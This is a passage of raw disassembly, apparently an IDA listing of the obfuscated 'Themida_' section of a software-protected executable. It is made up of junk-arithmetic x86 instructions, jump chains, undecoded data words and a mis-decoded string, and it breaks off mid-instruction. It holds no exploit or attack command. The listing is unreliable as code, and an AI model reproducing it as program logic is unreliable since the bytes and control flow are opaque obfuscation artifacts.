Themida_:0059BBD8j xchg ebx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_59D4BD ; --------------------------------------------------------------------------- dd 0D1B3ECB9h, 0D2BDE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA916: ; CODE XREF: Themida_:0059B41Aj mov eax, 270F1FA1h add [esp+8], eax pop eax add [esp+4], esi sub dword ptr [esp+4], 270F1FA1h pop esi pop ebx add ebx, 4 jmp loc_599835 ; --------------------------------------------------------------------------- loc_5AA939: ; CODE XREF: Themida_:005A98DBj mov ecx, [esp] jmp loc_5AD0F2 ; --------------------------------------------------------------------------- loc_5AA941: ; CODE XREF: Themida_:005A8B27j ; Themida_:loc_5AC945j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA946: ; CODE XREF: Themida_:0059A366j ; Themida_:loc_5A6595j mov [esp], ebx jmp loc_59D254 ; --------------------------------------------------------------------------- loc_5AA94E: ; CODE XREF: Themida_:0059C33Cj xor edi, 45810BF3h xor edi, 9FA19F63h mov ebx, edi pop edi sub edx, 260750DAh add edx, ebx add edx, 260750DAh mov ebx, [esp] add esp, 4 add edx, 4 xor edx, [esp] jmp loc_5A634C ; --------------------------------------------------------------------------- loc_5AA97F: ; CODE XREF: Themida_:005A6ABFj push 5095h mov [esp], esi mov esi, 220F29BCh jmp loc_5AD974 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1810000h, 4, 0FEE48AE9h, 0E4BA52FFh, 816C5918h dd 6F54E4E9h, 339FE977h, 62680000h, 89000005h, 79BD242Ch dd 29FC4ED0h, 27E95DEAh db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA9CB: ; CODE XREF: Themida_:005AA158j jmp loc_59838C ; --------------------------------------------------------------------------- dd 8B241487h, 0C892424h, 2474FF24h, 240C8B04h, 0FF0074E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA9E5: ; CODE XREF: Themida_:0059B7BEj ; Themida_:005A87D3j push 7CE8h jmp loc_59F976 ; --------------------------------------------------------------------------- loc_5AA9EF: ; CODE XREF: Themida_:005A964Dj pop ecx xor eax, 11A27BE0h sub edi, eax mov eax, [esp] jmp loc_5A5E52 ; --------------------------------------------------------------------------- loc_5AA9FF: ; CODE XREF: Themida_:005A707Dj mov [esp], edi push 6656h jmp loc_59EE7D ; --------------------------------------------------------------------------- loc_5AAA0C: ; CODE XREF: Themida_:0059F922j add esp, 4 jmp loc_599A07 ; --------------------------------------------------------------------------- dd 4082F181h, 0C9812F44h, 1AFF6160h, 0FF52F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AAA25: ; CODE XREF: Themida_:005A0E4Fj add ecx, 260B540Ah xchg ecx, edi pop ecx shr edi, 5 xor edi, 408B508h jmp loc_5A1F2A ; --------------------------------------------------------------------------- dd 240C8B66h, 8904EC83h, 0FF542434h, 835E2434h, 0C68104C4h dd 4, 0FF858DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AAA59: ; CODE XREF: Themida_:005ACD39j add esp, 4 mov bh, dh mov edx, [esp] add esp, 4 shl bh, 5 inc bh push ecx mov ch, 2Fh inc ch push dx push ebx mov bh, 0E5h add bh, 1Bh xor bh, 0D2h mov dl, bh pop ebx and ch, dl pop dx push ax mov al, 82h jmp loc_5A7933 ; --------------------------------------------------------------------------- loc_5AAA8C: ; CODE XREF: Themida_:00599F99j mov esi, esp add esi, 4 sub esi, 4 jmp loc_59A095 ; --------------------------------------------------------------------------- loc_5AAA9F: ; CODE XREF: Themida_:0059BCDCj xchg ebx, [esp] jmp loc_5AE18F ; --------------------------------------------------------------------------- db 5 dd 1A783978h, 3847055Bh, 0D801713Eh, 215FBA52h, 0F5E90D73h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AAABF: ; CODE XREF: Themida_:005A9148j add ebx, 4 add ebx, 4 push ebx jmp loc_5A0227 ; --------------------------------------------------------------------------- loc_5AAAD1: ; CODE XREF: Themida_:005A585Aj ; Themida_:005A7DC3j push ebx jmp loc_598F23 ; --------------------------------------------------------------------------- loc_5AAAD7: ; CODE XREF: Themida_:005AA851j mov edi, ecx pop ecx push edi xchg ebx, [esp] not ebx xchg ebx, [esp] pop edi push edi not dword ptr [esp] pop edi push ebp mov ebp, 7F941AC7h jmp loc_5A8280 ; --------------------------------------------------------------------------- dd 16BD5557h, 4576403Ch, 4BB1ED81h, 0ED81226Ch, 53D3F062h dd 1D27E9h db 0 ; --------------------------------------------------------------------------- loc_5AAB0D: ; CODE XREF: Themida_:005A89AAj add esi, 4 xchg esi, [esp] jmp loc_5A5B25 ; --------------------------------------------------------------------------- loc_5AAB1B: ; CODE XREF: Themida_:005A1289j xor eax, 15A901D6h sub eax, 9807A678h add edx, eax pop eax push esi mov esi, 3F27120Eh sub ebp, esi pop esi add ebp, edx jmp loc_59EEB5 ; --------------------------------------------------------------------------- loc_5AAB38: ; CODE XREF: Themida_:005A2A1Cj xor ecx, [esp] pop esp mov cl, 6 add cl, 0Ch add cl, bl sub cl, 0Ch push dword ptr [esp] pop ebx push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_5A1234 ; --------------------------------------------------------------------------- loc_5AAB5E: ; CODE XREF: Themida_:005AB6A5j push 7B74h jmp loc_5A62F1 ; --------------------------------------------------------------------------- dd 405E089h, 5000000h, 4, 9B93E950h, 82E9FFFFh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AAB7F: ; CODE XREF: Themida_:0059D55Cj mov edx, 2 add edi, edx pop edx xchg edi, [esp] mov esp, [esp] idiv cx push small 10D0h mov [esp], dx push ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AABA0: ; CODE XREF: Themida_:0059C2B5j add esp, 4 push ecx mov ch, 9 add ch, 0B6h inc ch jmp loc_5AB903 ; --------------------------------------------------------------------------- loc_5AABB3: ; CODE XREF: Themida_:loc_5A69D8j ; Themida_:005A9AEDj xor edi, ebx neg ebx xchg ebx, edi dec edi jno loc_5A0E6D neg edi jbe loc_5A5C77 shr edi, 8 and cl, 0D7h pop edx loc_5AABCF: ; CODE XREF: Themida_:005A835Dj jmp loc_59838C ; --------------------------------------------------------------------------- dd 0AA00E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AABDA: ; CODE XREF: Themida_:0059FE26j mov esp, [esp] add eax, 4 xchg eax, [esp] jmp loc_5993B8 ; --------------------------------------------------------------------------- loc_5AABE8: ; CODE XREF: Themida_:loc_598926j add ebx, 29380598h jmp loc_5AE8EA ; --------------------------------------------------------------------------- loc_5AABF3: ; CODE XREF: Themida_:0059BB3Dj or eax, eax jz loc_59E5A8 sub esp, 4 mov [esp], ebx push ecx mov ecx, esp jmp loc_59C904 ; --------------------------------------------------------------------------- loc_5AAC09: ; CODE XREF: Themida_:005AC6A4j push dword ptr [esp] pop edx add esp, 4 jmp loc_5AD2BE ; --------------------------------------------------------------------------- loc_5AAC15: ; CODE XREF: Themida_:005AEBDCj pop ebx jmp loc_5AA173 ; --------------------------------------------------------------------------- loc_5AAC1B: ; CODE XREF: Themida_:005A220Dj mov [esp], eax mov eax, 4 sub ecx, eax mov eax, [esp] jmp loc_5AAC48 ; --------------------------------------------------------------------------- loc_5AAC2D: ; CODE XREF: Themida_:005AE0B8j sub eax, 7324145Eh shr eax, 6 jmp loc_59E4E5 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0E9243487h, 0FFFF01D4h ; --------------------------------------------------------------------------- loc_5AAC48: ; CODE XREF: Themida_:005AAC28j add esp, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, 4 jmp loc_5A79E0 ; --------------------------------------------------------------------------- loc_5AAC5F: ; CODE XREF: Themida_:loc_5A0B2Bj ; Themida_:005AC7A4j add esi, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 4 sub esi, 38682825h add esi, 374959D1h add esi, ecx sub esi, 374959D1h jmp loc_5AEC85 ; --------------------------------------------------------------------------- loc_5AAC98: ; CODE XREF: Themida_:005A1E29j sub esi, edi pop edi sub esi, 0EEF9C67Eh sub edx, esi pop esi xchg edx, [esp] pop esp jmp loc_5AA501 ; --------------------------------------------------------------------------- db 0C0h, 0E2h, 8 dd 886FC280h, 24148BD4h, 0E904C483h, 0FFFEF4ABh, 3D2BA2BFh dd 8F0F4F33h, 0FFFF733Bh, 847E9h, 0E9D78900h, 0FFFFDCCCh db 54h ; --------------------------------------------------------------------------- loc_5AACD9: ; CODE XREF: Themida_:005ADBCDj mov edi, 24E16650h xor edi, edx pop edx inc edi xor edi, 6EA738CDh xor edi, 1ED028EDh add ecx, edi mov edi, [esp] add esp, 4 jmp loc_59F732 ; --------------------------------------------------------------------------- db 31h dd 35E92434h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAD03: ; CODE XREF: Themida_:005AF296j inc edx jle loc_5992AB jmp loc_5AEF51 ; --------------------------------------------------------------------------- db 68h dd 77AAh, 0BB240C89h, 49D506D1h, 0E1AAE943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAD22: ; CODE XREF: Themida_:0059BB6Cj mov edi, [esp] add esp, 4 xor ebp, ebx pop ebx sub [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add esp, 4 add ecx, 2C4D215Dh jmp loc_5AECC9 ; --------------------------------------------------------------------------- loc_5AAD55: ; CODE XREF: Themida_:005A64C4j jmp loc_5A87D8 ; --------------------------------------------------------------------------- dw 8155h dd 4ECh, 24148900h, 5D097F68h, 24148B4Ah, 5004C483h, 70E6F8B8h dd 58C2293Dh, 0FFDBB0E9h, 2C8158FFh, 8395424h, 2404295Dh dd 54240481h, 0E95D0839h, 0FFFFECD9h ; --------------------------------------------------------------------------- loc_5AAD94: ; CODE XREF: Themida_:005A1F45j and eax, 5A522592h jmp loc_5AEDE2 ; --------------------------------------------------------------------------- loc_5AAD9E: ; CODE XREF: Themida_:005A6C51j jp loc_5A8090 shr ebx, 3 sub ebx, 0FFFFFFFFh push eax mov bh, 6Ah mov bl, 9Dh loc_5AADAF: ; CODE XREF: Themida_:005A1FD3j and edi, 48F8237Ah push eax jmp loc_599DA3 ; --------------------------------------------------------------------------- loc_5AADBB: ; CODE XREF: Themida_:005A2AEBj add ebp, 6CCD6A74h add ebp, ecx sub ebp, 6CCD6A74h pop ecx xchg ebp, [esp] pop esp sub dword ptr [esp], 11DE6264h push ecx mov ecx, 7F1A7AD7h push ebx mov ebx, 1ABD5205h jmp loc_59E454 ; --------------------------------------------------------------------------- dw 83ADh dd 0C8904ECh, 86BB924h, 0E95575D0h, 0FFFF6218h ; --------------------------------------------------------------------------- loc_5AADF8: ; CODE XREF: Themida_:0059CA07j push edx jmp loc_59C444 ; --------------------------------------------------------------------------- loc_5AADFE: ; CODE XREF: Themida_:005986DAj push edx xor dword ptr [esp], 1DBA43BEh pop esi push edi mov edi, 1DBA43BEh xor esi, edi pop edi jmp loc_59ED82 ; --------------------------------------------------------------------------- loc_5AAE15: ; CODE XREF: Themida_:005A8D15j add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_59B54F ; --------------------------------------------------------------------------- loc_5AAE24: ; CODE XREF: Themida_:0059CF6Bj add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5AE244 ; --------------------------------------------------------------------------- dw 87B9h dd 89331E6Dh, 0C6DBE9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAE4A: ; CODE XREF: Themida_:005A2F74j not dl jmp loc_59D80E ; --------------------------------------------------------------------------- loc_5AAE51: ; CODE XREF: Themida_:0059EF1Fj ; Themida_:loc_5A59A4j push eax mov eax, 15054CDCh mov ebp, 1873E45Ah jmp loc_59F7D9 ; --------------------------------------------------------------------------- db 5Eh, 55h, 0BDh dd 175A57F8h, 5615F581h, 0EB29496Bh, 81C3015Dh, 3101EDC3h dd 24048B5Eh, 6804C483h, 2B04h, 0FF19E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AAE89: ; CODE XREF: Themida_:005A8162j sub [esp+4], eax add dword ptr [esp+4], 338B2AF5h jmp loc_59A142 ; --------------------------------------------------------------------------- loc_5AAE9A: ; CODE XREF: Themida_:0059B425j sub edi, 0C7541FFh add edi, 47F71E96h push ecx mov ecx, 3736BEDh xor ecx, 0E17CAEF7h sub edi, ecx pop ecx jmp loc_5A0A4B ; --------------------------------------------------------------------------- loc_5AAEBA: ; CODE XREF: Themida_:005ACCF5j add ecx, 2CC214F6h sub ecx, edx sub ecx, 2CC214F6h jmp loc_5A3A31 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 243C8700h, 77AA685Ch, 48E90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAEE7: ; CODE XREF: Themida_:005A7C63j sub [esp], bl mov bl, [esp] jmp loc_59E29B ; --------------------------------------------------------------------------- loc_5AAEF2: ; CODE XREF: Themida_:005AD344j xchg ecx, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5A5B2B ; --------------------------------------------------------------------------- loc_5AAF04: ; CODE XREF: Themida_:005A01FEj pop edx jmp loc_5AE59C ; --------------------------------------------------------------------------- loc_5AAF0A: ; CODE XREF: Themida_:005A710Dj ; Themida_:005AF0A0j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebp push ecx mov ecx, 4 add ebp, ecx pop ecx push 7D02h mov [esp], esi mov esi, 4 jmp loc_5ABC1E ; --------------------------------------------------------------------------- loc_5AAF34: ; CODE XREF: Themida_:005A5BFBj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A1701 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0C104C483h, 850F03EAh, 0FFFF5B69h, 146FF281h, 4AE91009h dd 81FFFFBDh, 4C3h, 4C38300h, 5C241C87h, 66DD3166h, 0EE89665Bh dd 0FEE898E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AAF7D: ; CODE XREF: Themida_:005AC264j jmp loc_5A3333 ; --------------------------------------------------------------------------- loc_5AAF82: ; CODE XREF: Themida_:005A5406j pop eax jmp loc_59E880 ; --------------------------------------------------------------------------- loc_5AAF88: ; CODE XREF: Themida_:0059BC2Bj push 6D38h mov [esp], ecx push ebp mov ebp, 1754247Ch sub ebp, 4FAE2912h sub ebp, 0C7A5FB68h push ebp xor dword ptr [esp], 28A906D2h pop ecx xor ecx, 28A906D2h pop ebp sub ebp, 13935AFFh add ebp, ecx add ebp, 13935AFFh push dword ptr [esp] pop ecx push 4461h jmp loc_59C5DC ; --------------------------------------------------------------------------- loc_5AAFCE: ; CODE XREF: Themida_:005ADA1Ej mov ebx, [esp] add esp, 4 loc_5AAFD4: ; CODE XREF: Themida_:0059B23Cj push 5856h mov [esp], ebx push dword ptr [esp] jmp loc_59FB2C ; --------------------------------------------------------------------------- loc_5AAFE4: ; CODE XREF: Themida_:loc_5A7920j or dh, 6Eh jb loc_5ACFFD jmp loc_5A0BFD ; --------------------------------------------------------------------------- loc_5AAFF2: ; CODE XREF: Themida_:005A43F5j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, 7C0445CAh mov edi, esi mov esi, [esp] add esp, 4 xor edi, ecx mov ecx, [esp] add esp, 4 and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push 1581h mov [esp], eax mov eax, 24h add eax, edi jmp loc_59D95F ; --------------------------------------------------------------------------- loc_5AB03D: ; CODE XREF: Themida_:00599550j sub esp, 4 mov [esp], esp jmp loc_5A034B ; --------------------------------------------------------------------------- db 68h dd 231A1DBAh, 3E70E9h db 0 ; --------------------------------------------------------------------------- loc_5AB055: ; CODE XREF: Themida_:005A4617j xor esi, 0D65F552h sub ebp, esi pop esi jmp loc_5A9FFF ; --------------------------------------------------------------------------- loc_5AB063: ; CODE XREF: Themida_:00599588j push cx jmp loc_598B92 ; --------------------------------------------------------------------------- loc_5AB06A: ; CODE XREF: Themida_:005AA66Cj mov edi, 58D2501Eh sub eax, 2AE760F7h add eax, edi add eax, 2AE760F7h mov edi, [esp] jmp loc_59C050 ; --------------------------------------------------------------------------- loc_5AB083: ; CODE XREF: Themida_:00598968j sub esp, 4 mov [esp], ebx push esi jmp loc_5A35D1 ; --------------------------------------------------------------------------- dw 4D2h dd 0FFE99C24h, 81FFFFF3h, 0BD9763EEh, 5EF189CBh, 0FFE2A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB0A9: ; CODE XREF: Themida_:0059D535j shr ebp, 6 not ebp sub esp, 4 mov [esp], edi mov edi, 64B77307h xor ebp, edi pop edi add ebp, 0A10FFB03h add eax, 33325D3Eh add eax, ebp sub eax, 33325D3Eh jmp loc_5AA7F9 ; --------------------------------------------------------------------------- dw 5353h dd 0C381E389h, 4, 4417E9h db 0 ; --------------------------------------------------------------------------- loc_5AB0E5: ; CODE XREF: Themida_:loc_5A462Fj ; Themida_:005A7EDAj mov ecx, 7C2F43EDh jmp loc_5A12E5 ; --------------------------------------------------------------------------- loc_5AB0EF: ; CODE XREF: Themida_:005AD7B8j mov [esp], edi push esi mov esi, 738F470Ah add esi, 8C70B8F8h mov edi, esi jmp loc_5AA2EF ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FEFE56E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB10D: ; CODE XREF: Themida_:005AE7ECj inc dword ptr [esp] mov esi, [esp] add esp, 4 push 324Eh mov [esp], eax mov eax, 359E6Ch sub esi, eax pop eax add ebx, esi push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebp jmp loc_5ADE6B ; --------------------------------------------------------------------------- loc_5AB144: ; CODE XREF: Themida_:005AB6BFj pop esp mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_59D4CC ; --------------------------------------------------------------------------- dw 2D59h dd 274B14E4h, 5358C301h, 42474FFh, 0E92434FFh, 0FFFF186Bh dd 5505E7C1h, 0BB702CBDh, 31A7E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB176: ; CODE XREF: Themida_:005A5DECj add esp, 4 mov ecx, edx pop edx sub ecx, 4FD41267h push ecx mov ecx, 2DDE3A56h jmp loc_59F05E ; --------------------------------------------------------------------------- loc_5AB190: ; CODE XREF: Themida_:005A1E99j ; Themida_:005AC5FDj push edi mov edi, 0EE77D35h and edi, 28872078h jnp loc_5A0728 jmp loc_5AC3DC ; --------------------------------------------------------------------------- db 52h dd 2687BD55h, 0FBBA2A0Bh, 1137A18h, 0D751E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB1BA: ; CODE XREF: Themida_:005AE23Fj pop ebp jmp loc_5A4EEE ; --------------------------------------------------------------------------- loc_5AB1C0: ; CODE XREF: Themida_:loc_5A625Cj jmp loc_5A3697 ; --------------------------------------------------------------------------- loc_5AB1C5: ; CODE XREF: Themida_:00598EFEj mov eax, ecx pop ecx sub ecx, eax jmp loc_5A6CBE ; --------------------------------------------------------------------------- loc_5AB1CF: ; CODE XREF: Themida_:005AD0B7j add esp, 4 add esp, 4 shr ecx, 2 sub esp, 4 jmp loc_5A1B3D ; --------------------------------------------------------------------------- dw 0C483h dd 4BF5704h, 1000000h, 0F6C6E9FBh, 0CB8FFFFh, 163ED1Dh dd 0EB0158C3h, 1D0CEB81h, 0E95D63EDh, 32E0h ; --------------------------------------------------------------------------- loc_5AB20C: ; CODE XREF: Themida_:0059D116j ; Themida_:005A6AEEj pop eax push esi mov esi, 460E59F4h add edx, esi pop esi add edx, edi push ecx mov ecx, 2F8F1A5Bh push ecx jmp loc_5A3DC0 ; --------------------------------------------------------------------------- loc_5AB224: ; CODE XREF: Themida_:0059B279j mov ebx, [esp] add esp, 4 xor esi, [esp] jmp loc_5A9F35 ; --------------------------------------------------------------------------- dw 0B850h dd 0F7418FBh, 0FF6570E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB23D: ; CODE XREF: Themida_:005A8740j push eax push ecx mov cl, 36h mov al, cl pop ecx shl al, 1 xor al, 0A9h sub bl, al pop eax add bl, 0A7h jmp loc_5996DB ; --------------------------------------------------------------------------- loc_5AB253: ; CODE XREF: Themida_:00599B05j sub esi, 0FFFF7DFAh sub edi, 6213661Bh add edi, esi add edi, 6213661Bh pop esi xchg edi, [esp] jmp loc_5A7991 ; --------------------------------------------------------------------------- loc_5AB270: ; CODE XREF: Themida_:0059D61Bj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB275: ; CODE XREF: Themida_:005A2722j add ebp, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5A983E ; --------------------------------------------------------------------------- loc_5AB292: ; CODE XREF: Themida_:0059C7B3j mov al, dl mov bl, al mov eax, [esp] add esp, 4 mov al, bl pop ebx push ebx mov bh, al mov ch, bh mov ebx, [esp] add esp, 4 jmp loc_5A525F ; --------------------------------------------------------------------------- loc_5AB2AF: ; CODE XREF: Themida_:005AB432j add esp, 4 add edx, ebx push eax jmp loc_5AEB2A ; --------------------------------------------------------------------------- loc_5AB2BA: ; CODE XREF: Themida_:0059CF87j ; Themida_:005A111Bj add edi, ecx pop ecx push edi push dword ptr [esp+4] jmp loc_59BD03 ; --------------------------------------------------------------------------- loc_5AB2C7: ; CODE XREF: Themida_:005A04B9j ; Themida_:005A0A10j js loc_5AF1D5 xor ebp, 18604524h mov edx, ebp pop ebp jmp loc_5999DB ; --------------------------------------------------------------------------- db 0C1h dd 0EE8106EEh, 0DCC57E8Ch, 1EE8346h, 0DA8E953h, 0DE01FFFFh dd 2434875Bh, 0FF6491E9h, 90EB81FFh, 0E9D4E9EEh, 0FFFEF9A4h ; --------------------------------------------------------------------------- loc_5AB304: ; CODE XREF: Themida_:005AD743j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A043E ; --------------------------------------------------------------------------- loc_5AB318: ; CODE XREF: Themida_:0059C522j shl eax, 7 jmp loc_59DE57 ; --------------------------------------------------------------------------- loc_5AB320: ; CODE XREF: Themida_:005A99F4j add edi, ebx pop ebx sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8B2434FFh, 0C4812404h, 4, 55E68956h, 4BDh, 5DEE0100h dd 0FFD733E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB35D: ; CODE XREF: Themida_:005A882Aj mov [esp], ebp mov ebp, 619B158Ah and ebp, 747425ADh xor ebp, 7D484F08h sub ebp, 0E1F19B8Bh xor ebx, ebp pop ebp add ebp, ebx pop ebx and eax, ebp pop ebp or eax, eax jz loc_59CE12 push dword ptr [edi+28h] push dword ptr [esp] pop eax jmp loc_59F5C4 ; --------------------------------------------------------------------------- loc_5AB394: ; CODE XREF: Themida_:005AC32Dj jmp loc_5A5587 ; --------------------------------------------------------------------------- loc_5AB399: ; CODE XREF: Themida_:005A0210j push bx mov bh, 53h jmp loc_5AEFC8 ; --------------------------------------------------------------------------- loc_5AB3A2: ; CODE XREF: Themida_:005A3289j jmp loc_59FF56 ; --------------------------------------------------------------------------- db 0F6h dd 6E8C0D0h, 0E9E9C0FEh db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB3B3: ; CODE XREF: Themida_:005A08F7j mov edx, [esp] add esp, 4 sub edx, 3DCD6FA2h jnb loc_59CBB0 xor edx, 0A7E79CDEh mov ecx, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push ecx push esp pop ecx jmp loc_5A51B2 ; --------------------------------------------------------------------------- loc_5AB3E5: ; CODE XREF: Themida_:005A029Ej mov edi, 0FFFFFFFFh add ebx, 47ED53A3h jmp loc_5A697C ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0E904C483h, 0FFFFDE23h ; --------------------------------------------------------------------------- loc_5AB400: ; CODE XREF: Themida_:005A1982j push ebx mov ebx, 4 jmp loc_5A6C15 ; --------------------------------------------------------------------------- loc_5AB40B: ; CODE XREF: Themida_:0059D3D6j push ebx jmp loc_5A0DEA ; --------------------------------------------------------------------------- loc_5AB411: ; CODE XREF: Themida_:005ABA90j mov [esp], esi jmp loc_59AC69 ; --------------------------------------------------------------------------- loc_5AB419: ; CODE XREF: Themida_:005A61B9j mov edi, [esp] jmp loc_5A9EC8 ; --------------------------------------------------------------------------- loc_5AB421: ; CODE XREF: Themida_:005A5D43j xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 0 mov edx, ebx mov ebx, [esp] jmp loc_5AB2AF ; --------------------------------------------------------------------------- loc_5AB437: ; CODE XREF: Themida_:005A774Cj xchg ebx, edi sub edi, 93DF9AF7h jmp loc_59FF4E ; --------------------------------------------------------------------------- loc_5AB444: ; CODE XREF: Themida_:loc_5AEC18j push ebp mov ebp, 54696268h jmp loc_5ABBAC ; --------------------------------------------------------------------------- loc_5AB44F: ; CODE XREF: Themida_:005A2917j dec ebx xor ebx, 0B01E19D3h sub edx, ebx mov ebx, [esp] add esp, 4 jmp loc_5A3B01 ; --------------------------------------------------------------------------- db 30h dd 505866C7h, 0FA0467B0h, 925B880Fh, 0C886FFFFh, 8852D1F6h dd 88C188CAh, 0C0FE5AD0h, 0F1628E0Fh, 0D2E9FFFEh, 0F7FFFEFDh dd 56434BDBh ; --------------------------------------------------------------------------- loc_5AB490: ; CODE XREF: Themida_:005AA185j pop cx shl bh, 4 jmp loc_5A0D6F ; --------------------------------------------------------------------------- loc_5AB49A: ; CODE XREF: Themida_:0059D813j ; Themida_:005A077Ej sub edi, 4DDF669Eh jmp loc_5ABEE5 ; --------------------------------------------------------------------------- loc_5AB4A5: ; CODE XREF: Themida_:005AB6CEj pop ebp jmp loc_5A128E ; --------------------------------------------------------------------------- loc_5AB4AB: ; CODE XREF: Themida_:005A13BAj ; Themida_:005A46C8j mov esp, [esp] movsx cx, al push small 72h mov [esp], cx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB4BF: ; CODE XREF: Themida_:005A7617j shl edx, 2 xor edx, 0B0FF7D90h sub edi, edx pop edx jmp loc_59963E ; --------------------------------------------------------------------------- dd 4887BA52h, 0D0211AE5h, 1762D5Ah, 6805201Fh, 17FF121h dd 0EC8158C1h, 4, 52243C89h, 0FF058FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB4F5: ; CODE XREF: Themida_:005A1DE3j add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop edx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp jmp loc_59888D ; --------------------------------------------------------------------------- loc_5AB518: ; CODE XREF: Themida_:0059B872j sub eax, 1B473FF8h add eax, ebx add eax, 1B473FF8h pop ebx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, 2C74624Bh jmp loc_5AD07A ; --------------------------------------------------------------------------- loc_5AB546: ; CODE XREF: Themida_:005ABC86j push 288Ah jmp loc_59D6A0 ; --------------------------------------------------------------------------- loc_5AB550: ; CODE XREF: Themida_:005AF053j sub dh, 91h add bl, dh pop edx add cl, bl jmp loc_59C673 ; --------------------------------------------------------------------------- db 5Fh, 29h, 0FAh dd 1644EA81h, 0E95F6200h, 0FFFF4E37h ; --------------------------------------------------------------------------- loc_5AB56C: ; CODE XREF: Themida_:005AC4EDj mov eax, 6DD62C4Ah xor eax, edi pop edi push eax pop ecx pop eax shl ecx, 8 jmp loc_59A872 ; --------------------------------------------------------------------------- db 89h dd 4EC83E7h, 89240C89h, 4C181E1h, 68000000h, 62C3h, 0FFF682E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB599: ; CODE XREF: Themida_:005A9C8Bj add esp, 4 add eax, 52CD0276h sub eax, 4E34299Fh sub eax, ebx add eax, 4E34299Fh sub eax, 52CD0276h sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_5A663A ; --------------------------------------------------------------------------- loc_5AB5C6: ; CODE XREF: Themida_:loc_59B8F5j sub eax, 0E67B9BB1h jmp loc_5ACCFA ; --------------------------------------------------------------------------- loc_5AB5D0: ; CODE XREF: Themida_:005A0E68j mov esi, 0C566FF0h and esi, 728547F4h not esi add esi, 3F110493h xor esi, 1071CA4Eh jmp loc_5AA040 ; --------------------------------------------------------------------------- loc_5AB5EE: ; CODE XREF: Themida_:005A079Bj pop edi add eax, 4 xchg eax, [esp] jmp loc_5ABD43 ; --------------------------------------------------------------------------- dd 5966CF28h, 0B2525066h, 8BD4888Eh, 0C4832414h, 0E9E72004h dd 0FFFF662Ah ; --------------------------------------------------------------------------- loc_5AB614: ; CODE XREF: Themida_:0059B8FEj mov edi, 622B0BF6h push 5ED2h mov [esp], edx mov edx, 125E5A01h push ebx mov ebx, 3DD44C38h add edx, ebx pop ebx jmp loc_5AEFED ; --------------------------------------------------------------------------- loc_5AB634: ; CODE XREF: Themida_:005A46B6j dec al jmp loc_5A46C3 ; --------------------------------------------------------------------------- loc_5AB63B: ; CODE XREF: Themida_:00599C66j shr esi, 7 jnp loc_5AA82A add esi, 210C7189h jmp loc_59EC83 ; --------------------------------------------------------------------------- aPirhX_0 db 'Pΰh$x',0 dw 8900h dd 39E92414h, 0E9000012h, 0FFFECD28h ; --------------------------------------------------------------------------- loc_5AB664: ; CODE XREF: Themida_:0059E442j mov [esp], eax push ebx mov bl, 1Fh mov ah, bl pop ebx jmp 